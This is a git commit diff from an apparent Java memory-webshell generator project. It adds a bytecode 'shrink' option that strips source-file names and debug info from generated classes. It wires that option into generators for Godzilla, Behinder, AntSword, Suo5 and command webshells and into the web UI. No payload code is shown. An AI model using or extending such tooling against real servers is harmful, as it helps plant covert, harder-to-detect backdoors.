feat: support bytecode shrink

1. remove source file symbol (#46)
2. remove debug info when enable shrink (#29)
This commit is contained in:
ReaJason
2025-02-26 20:19:30 +08:00
parent e7a14bf2e3
commit 45f2bb148d
16 changed files with 94 additions and 27 deletions
@@ -0,0 +1,26 @@
package com.reajason.javaweb;
import net.bytebuddy.jar.asm.ClassReader;
import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.ClassWriter;
import net.bytebuddy.jar.asm.Opcodes;
/**
* @author ReaJason
* @since 2025/2/25
*/
public class ClassBytesShrink {
public static byte[] shrink(byte[] bytes, boolean full) {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(0);
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
@Override
public void visitSource(String source, String debug) {
}
};
cr.accept(cv, full ? ClassReader.SKIP_DEBUG : 0);
return cw.toByteArray();
}
}
@@ -62,7 +62,7 @@ public class MemShellGenerator {
case Godzilla: case Godzilla:
return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes(); return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
case Command: case Command:
return CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig); return new CommandGenerator(shellConfig, (CommandConfig) shellToolConfig).getBytes();
case Behinder: case Behinder:
return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes(); return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
case Suo5: case Suo5:
@@ -57,6 +57,12 @@ public class ShellConfig {
@Builder.Default @Builder.Default
private boolean debug = false; private boolean debug = false;
/**
* 是否启用缩小字节码
*/
@Builder.Default
private boolean shrink = false;
public boolean isDebugOff() { public boolean isDebugOff() {
return !debug; return !debug;
} }
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -19,7 +20,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @author ReaJason * @author ReaJason
* @since 2025/02/18 * @since 2025/02/18
*/ */
public class AntSwordGenerator { public class AntSwordGenerator {
private final ShellConfig shellConfig; private final ShellConfig shellConfig;
private final AntSwordConfig antSwordConfig; private final AntSwordConfig antSwordConfig;
@@ -67,7 +68,7 @@ public class AntSwordGenerator {
public byte[] getBytes() { public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder(); DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) { try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes(); return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
} }
} }
} }
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -70,7 +71,7 @@ public class BehinderGenerator {
public byte[] getBytes() { public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder(); DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) { try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes(); return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
} }
} }
} }
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -20,40 +21,52 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @since 2024/11/24 * @since 2024/11/24
*/ */
public class CommandGenerator { public class CommandGenerator {
private final ShellConfig shellConfig;
private final CommandConfig commandConfig;
public static byte[] generate(ShellConfig config, CommandConfig shellConfig) { public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
if (shellConfig.getShellClass() == null) { this.shellConfig = shellConfig;
throw new IllegalArgumentException("shellConfig.getClazz() == null"); this.commandConfig = commandConfig;
}
public DynamicType.Builder<?> getBuilder() {
if (commandConfig.getShellClass() == null) {
throw new IllegalArgumentException("commandConfig.getClazz() == null");
} }
DynamicType.Builder<?> builder = new ByteBuddy() DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(shellConfig.getShellClass()) .redefine(commandConfig.getShellClass())
.name(shellConfig.getShellClassName()) .name(commandConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion())); .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (config.isJakarta()) { if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
} }
if (config.isDebugOff()) { if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder); builder = LogRemoveMethodVisitor.extend(builder);
} }
String shellType = config.getShellType(); String shellType = shellConfig.getShellType();
if (!ShellType.WEBSOCKET.equals(shellType)) { if (!ShellType.WEBSOCKET.equals(shellType)) {
if (StringUtils.startsWith(shellType, ShellType.AGENT)) { if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
builder = builder.visit( builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{ new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
put("paramName", shellConfig.getParamName()); put("paramName", commandConfig.getParamName());
}}) }})
); );
} else { } else {
builder = builder.field(named("paramName")).value(shellConfig.getParamName()); builder = builder.field(named("paramName")).value(commandConfig.getParamName());
} }
} }
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) { try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes(); return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
} }
} }
} }
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -75,7 +76,7 @@ public class GodzillaGenerator {
public byte[] getBytes() { public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder(); DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) { try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes(); return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
} }
} }
} }
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor; import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -22,11 +23,11 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @since 2024/11/24 * @since 2024/11/24
*/ */
public class InjectorGenerator { public class InjectorGenerator {
private final ShellConfig config; private final ShellConfig shellConfig;
private final InjectorConfig injectorConfig; private final InjectorConfig injectorConfig;
public InjectorGenerator(ShellConfig config, InjectorConfig injectorConfig) { public InjectorGenerator(ShellConfig shellConfig, InjectorConfig injectorConfig) {
this.config = config; this.shellConfig = shellConfig;
this.injectorConfig = injectorConfig; this.injectorConfig = injectorConfig;
} }
@@ -36,20 +37,20 @@ public class InjectorGenerator {
DynamicType.Builder<?> builder = new ByteBuddy() DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(injectorConfig.getInjectorClass()) .redefine(injectorConfig.getInjectorClass())
.name(injectorConfig.getInjectorClassName()) .name(injectorConfig.getInjectorClassName())
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion())) .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*"))) .method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
.method(named("getBase64String")).intercept(FixedValue.value(base64String)) .method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName())); .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
if (config.needByPassJavaModule()) { if (shellConfig.needByPassJavaModule()) {
builder = ByPassJavaModuleInterceptor.extend(builder); builder = ByPassJavaModuleInterceptor.extend(builder);
} }
if (config.isJakarta()) { if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
} }
if (config.isDebugOff()) { if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder); builder = LogRemoveMethodVisitor.extend(builder);
} }
return builder; return builder;
@@ -59,7 +60,7 @@ public class InjectorGenerator {
public byte[] generate() { public byte[] generate() {
DynamicType.Builder<?> builder = getBuilder(); DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) { try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes(); return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
} }
} }
} }
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -59,7 +60,7 @@ public class Suo5Generator {
public byte[] getBytes() { public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder(); DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) { try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes(); return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
} }
} }
} }
@@ -42,7 +42,7 @@ class CommandFilterTest {
.paramName("cmd") .paramName("cmd")
.build(); .build();
generateConfig.setShellType(shellType); generateConfig.setShellType(shellType);
byte[] bytes = CommandGenerator.generate(generateConfig, shellConfig); byte[] bytes = new CommandGenerator(generateConfig, shellConfig).getBytes();
Object obj = ClassUtils.newInstance(bytes); Object obj = ClassUtils.newInstance(bytes);
assertEquals(shellConfig.getShellClassName(), obj.getClass().getName()); assertEquals(shellConfig.getShellClassName(), obj.getClass().getName());
assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName")); assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
+12
View File
@@ -260,6 +260,18 @@ export function MainConfigCard({
</FormItem> </FormItem>
)} )}
/> />
<FormField
control={form.control}
name="shrink"
render={({ field }) => (
<FormItem className="flex items-center space-x-2 space-y-0">
<FormControl>
<Switch id="shrink" checked={field.value} onCheckedChange={field.onChange} />
</FormControl>
<Label htmlFor="shrink">{t("mainConfig.shrink")}</Label>
</FormItem>
)}
/>
</div> </div>
</CardContent> </CardContent>
</Card> </Card>
+1
View File
@@ -36,6 +36,7 @@
"shellClassName": "Shell ClassName", "shellClassName": "Shell ClassName",
"shellMountType": "Shell Mount Type", "shellMountType": "Shell Mount Type",
"shellTool": "Shell Tool", "shellTool": "Shell Tool",
"shrink": "Shrink Bytecode",
"urlPattern": "URL Pattern" "urlPattern": "URL Pattern"
}, },
"optional": "(Optional)", "optional": "(Optional)",
+1
View File
@@ -36,6 +36,7 @@
"shellClassName": "内存马类名", "shellClassName": "内存马类名",
"shellMountType": "内存马挂载类型", "shellMountType": "内存马挂载类型",
"shellTool": "内存马功能", "shellTool": "内存马功能",
"shrink": "缩小字节码",
"urlPattern": "请求路径" "urlPattern": "请求路径"
}, },
"optional": "(可选)", "optional": "(可选)",
+1
View File
@@ -18,6 +18,7 @@ export const formSchema = z.object({
headerValue: z.optional(z.string()), headerValue: z.optional(z.string()),
injectorClassName: z.optional(z.string()), injectorClassName: z.optional(z.string()),
packingMethod: z.string().min(1), packingMethod: z.string().min(1),
shrink: z.optional(z.boolean()),
}); });
export type FormSchema = z.infer<typeof formSchema>; export type FormSchema = z.infer<typeof formSchema>;
+1
View File
@@ -6,6 +6,7 @@ export interface ShellConfig {
debug?: boolean; debug?: boolean;
byPassJavaModule?: boolean; byPassJavaModule?: boolean;
obfuscate?: boolean; obfuscate?: boolean;
shrink?: boolean;
} }
export interface ShellToolConfig { export interface ShellToolConfig {
+1
View File
@@ -9,6 +9,7 @@ export function transformToPostData(formValue: FormSchema) {
debug: formValue.debug, debug: formValue.debug,
targetJreVersion: formValue.targetJdkVersion, targetJreVersion: formValue.targetJdkVersion,
byPassJavaModule: formValue.bypassJavaModule, byPassJavaModule: formValue.bypassJavaModule,
shrink: formValue.shrink,
}; };
const shellToolConfig: ShellToolConfig = { const shellToolConfig: ShellToolConfig = {
shellClassName: formValue.shellClassName, shellClassName: formValue.shellClassName,